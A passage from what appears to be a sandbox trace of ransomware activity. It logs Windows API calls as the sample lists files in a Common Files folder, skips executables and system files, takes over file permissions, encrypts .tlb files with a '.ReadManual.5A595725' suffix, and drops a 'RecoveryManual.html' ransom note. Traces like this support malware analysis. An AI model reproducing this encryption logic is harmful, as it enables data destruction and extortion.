psz2="inf") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="cat") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="bat") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="cmd") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="ps1") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="vbs") returned -1 [0250.147] StrCmpIW (psz1="tlb", psz2="ttf") returned -1 [0250.147] StrCmpIW (psz1="tlb", psz2="fon") returned 1 [0250.147] StrCmpIW (psz1="tlb", psz2="lnk") returned 1 [0250.147] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" [0250.147] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.ReadManual.5A595725" [0250.147] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.ReadManual.5A595725") returned 76 [0250.147] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37081591490) returned 1 [0250.147] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0250.147] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.147] GetLastError () returned 0x5 [0250.148] GetNamedSecurityInfoW () returned 0x0 [0250.148] SetNamedSecurityInfoW () returned 0x0 [0250.148] SetNamedSecurityInfoW () returned 0x0 [0250.149] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.149] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=98304) returned 1 [0250.149] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18000, lpName=0x0) returned 0x184 [0250.149] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa8) returned 1 [0250.149] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.149] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.150] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.150] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18000) returned 0x1de0000 [0250.152] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0250.153] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37082158685) returned 1 [0250.153] CloseHandle (hObject=0x184) returned 1 [0250.153] SetSecurityInfo () returned 0x5 [0250.153] SetSecurityInfo () returned 0x5 [0250.153] LocalFree (hMem=0x674d38) returned 0x0 [0250.153] CloseHandle (hObject=0x194) returned 1 [0250.153] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0250.153] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msado28.tlb" | out: lpString1="msado28.tlb") returned="msado28.tlb" [0250.153] lstrcmpiW (lpString1="msado28.tlb", lpString2="RecoveryManual.html") returned -1 [0250.153] StrStrIW (lpFirst="msado28.tlb", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.153] StrCmpIW (psz1="tlb", psz2="exe") returned 1 [0250.153] StrCmpIW (psz1="tlb", psz2="dll") returned 1 [0250.153] StrCmpIW (psz1="tlb", psz2="sys") returned 1 [0250.153] StrCmpIW (psz1="tlb", psz2="msi") returned 1 [0250.153] StrCmpIW (psz1="tlb", psz2="mui") returned 1 [0250.153] StrCmpIW (psz1="tlb", psz2="inf") returned 1 [0250.153] StrCmpIW (psz1="tlb", psz2="cat") returned 1 [0250.154] StrCmpIW (psz1="tlb", psz2="bat") returned 1 [0250.154] StrCmpIW (psz1="tlb", psz2="cmd") returned 1 [0250.154] StrCmpIW (psz1="tlb", psz2="ps1") returned 1 [0250.154] StrCmpIW (psz1="tlb", psz2="vbs") returned -1 [0250.154] StrCmpIW (psz1="tlb", psz2="ttf") returned -1 [0250.154] StrCmpIW (psz1="tlb", psz2="fon") returned 1 [0250.154] StrCmpIW (psz1="tlb", psz2="lnk") returned 1 [0250.154] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" [0250.154] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.ReadManual.5A595725" [0250.154] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.ReadManual.5A595725") returned 76 [0250.154] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37082256799) returned 1 [0250.154] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0250.154] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.154] GetLastError () returned 0x5 [0250.154] GetNamedSecurityInfoW () returned 0x0 [0250.154] SetNamedSecurityInfoW () returned 0x0 [0250.155] SetNamedSecurityInfoW () returned 0x0 [0250.155] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.155] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=98304) returned 1 [0250.155] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18000, lpName=0x0) returned 0x184 [0250.155] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa8) returned 1 [0250.156] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.156] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.157] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.157] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18000) returned 0x1de0000 [0250.159] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0250.159] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37082805816) returned 1 [0250.159] CloseHandle (hObject=0x184) returned 1 [0250.159] SetSecurityInfo () returned 0x5 [0250.159] SetSecurityInfo () returned 0x5 [0250.159] LocalFree (hMem=0x674d38) returned 0x0 [0250.160] CloseHandle (hObject=0x194) returned 1 [0250.160] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0250.160] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msadomd.dll" | out: lpString1="msadomd.dll") returned="msadomd.dll" [0250.160] lstrcmpiW (lpString1="msadomd.dll", lpString2="RecoveryManual.html") returned -1 [0250.160] StrStrIW (lpFirst="msadomd.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.160] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.160] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.160] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0250.160] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msadomd28.tlb" | out: lpString1="msadomd28.tlb") returned="msadomd28.tlb" [0250.160] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="RecoveryManual.html") returned -1 [0250.160] StrStrIW (lpFirst="msadomd28.tlb", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.160] StrCmpIW (psz1="tlb", psz2="exe") returned 1 [0250.160] StrCmpIW (psz1="tlb", psz2="dll") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="sys") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="msi") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="mui") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="inf") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="cat") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="bat") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="cmd") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="ps1") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="vbs") returned -1 [0250.161] StrCmpIW (psz1="tlb", psz2="ttf") returned -1 [0250.161] StrCmpIW (psz1="tlb", psz2="fon") returned 1 [0250.161] StrCmpIW (psz1="tlb", psz2="lnk") returned 1 [0250.161] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" [0250.161] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.ReadManual.5A595725" [0250.161] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.ReadManual.5A595725") returned 78 [0250.161] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37083024009) returned 1 [0250.162] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0250.162] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.162] GetLastError () returned 0x5 [0250.162] GetNamedSecurityInfoW () returned 0x0 [0250.163] SetNamedSecurityInfoW () returned 0x0 [0250.163] SetNamedSecurityInfoW () returned 0x0 [0250.163] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.164] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20480) returned 1 [0250.164] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5000, lpName=0x0) returned 0x184 [0250.164] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xac) returned 1 [0250.164] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.164] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.165] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.165] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5000) returned 0x2f0000 [0250.166] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.166] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37083507106) returned 1 [0250.166] CloseHandle (hObject=0x184) returned 1 [0250.166] SetSecurityInfo () returned 0x5 [0250.166] SetSecurityInfo () returned 0x5 [0250.166] LocalFree (hMem=0x674d38) returned 0x0 [0250.167] CloseHandle (hObject=0x194) returned 1 [0250.167] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0250.167] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msador15.dll" | out: lpString1="msador15.dll") returned="msador15.dll" [0250.167] lstrcmpiW (lpString1="msador15.dll", lpString2="RecoveryManual.html") returned -1 [0250.167] StrStrIW (lpFirst="msador15.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.167] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.167] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.167] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0250.167] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msadox.dll" | out: lpString1="msadox.dll") returned="msadox.dll" [0250.167] lstrcmpiW (lpString1="msadox.dll", lpString2="RecoveryManual.html") returned -1 [0250.167] StrStrIW (lpFirst="msadox.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.167] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.167] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.167] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0250.167] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msadox28.tlb" | out: lpString1="msadox28.tlb") returned="msadox28.tlb" [0250.167] lstrcmpiW (lpString1="msadox28.tlb", lpString2="RecoveryManual.html") returned -1 [0250.167] StrStrIW (lpFirst="msadox28.tlb", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.182] StrCmpIW (psz1="tlb", psz2="exe") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="dll") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="sys") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="msi") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="mui") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="inf") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="cat") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="bat") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="cmd") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="ps1") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="vbs") returned -1 [0250.182] StrCmpIW (psz1="tlb", psz2="ttf") returned -1 [0250.182] StrCmpIW (psz1="tlb", psz2="fon") returned 1 [0250.182] StrCmpIW (psz1="tlb", psz2="lnk") returned 1 [0250.182] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" [0250.182] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.ReadManual.5A595725" [0250.182] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.ReadManual.5A595725") returned 77 [0250.182] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37085108911) returned 1 [0250.182] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0250.183] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.183] GetLastError () returned 0x5 [0250.183] GetNamedSecurityInfoW () returned 0x0 [0250.183] SetNamedSecurityInfoW () returned 0x0 [0250.183] SetNamedSecurityInfoW () returned 0x0 [0250.184] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.184] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28672) returned 1 [0250.184] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7000, lpName=0x0) returned 0x184 [0250.184] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xaa) returned 1 [0250.184] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.184] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.185] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.185] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7000) returned 0x2f0000 [0250.241] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.241] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37091019653) returned 1 [0250.241] CloseHandle (hObject=0x184) returned 1 [0250.242] SetSecurityInfo () returned 0x5 [0250.242] SetSecurityInfo () returned 0x5 [0250.242] LocalFree (hMem=0x674d38) returned 0x0 [0250.242] CloseHandle (hObject=0x194) returned 1 [0250.242] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0250.242] lstrcpyW (in: lpString1=0x6ab8f6, lpString2="msadrh15.dll" | out: lpString1="msadrh15.dll") returned="msadrh15.dll" [0250.242] lstrcmpiW (lpString1="msadrh15.dll", lpString2="RecoveryManual.html") returned -1 [0250.242] StrStrIW (lpFirst="msadrh15.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.242] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.242] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.242] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0250.242] FindClose (in: hFindFile=0x6bfec0 | out: hFindFile=0x6bfec0) returned 1 [0250.242] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0250.242] lstrcpyW (in: lpString1=0x6ab8ee, lpString2="DirectDB.dll" | out: lpString1="DirectDB.dll") returned="DirectDB.dll" [0250.242] lstrcmpiW (lpString1="DirectDB.dll", lpString2="RecoveryManual.html") returned -1 [0250.242] StrStrIW (lpFirst="DirectDB.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.242] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.242] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.242] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\" [0250.242] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\RecoveryManual.html" [0250.242] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0250.248] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, 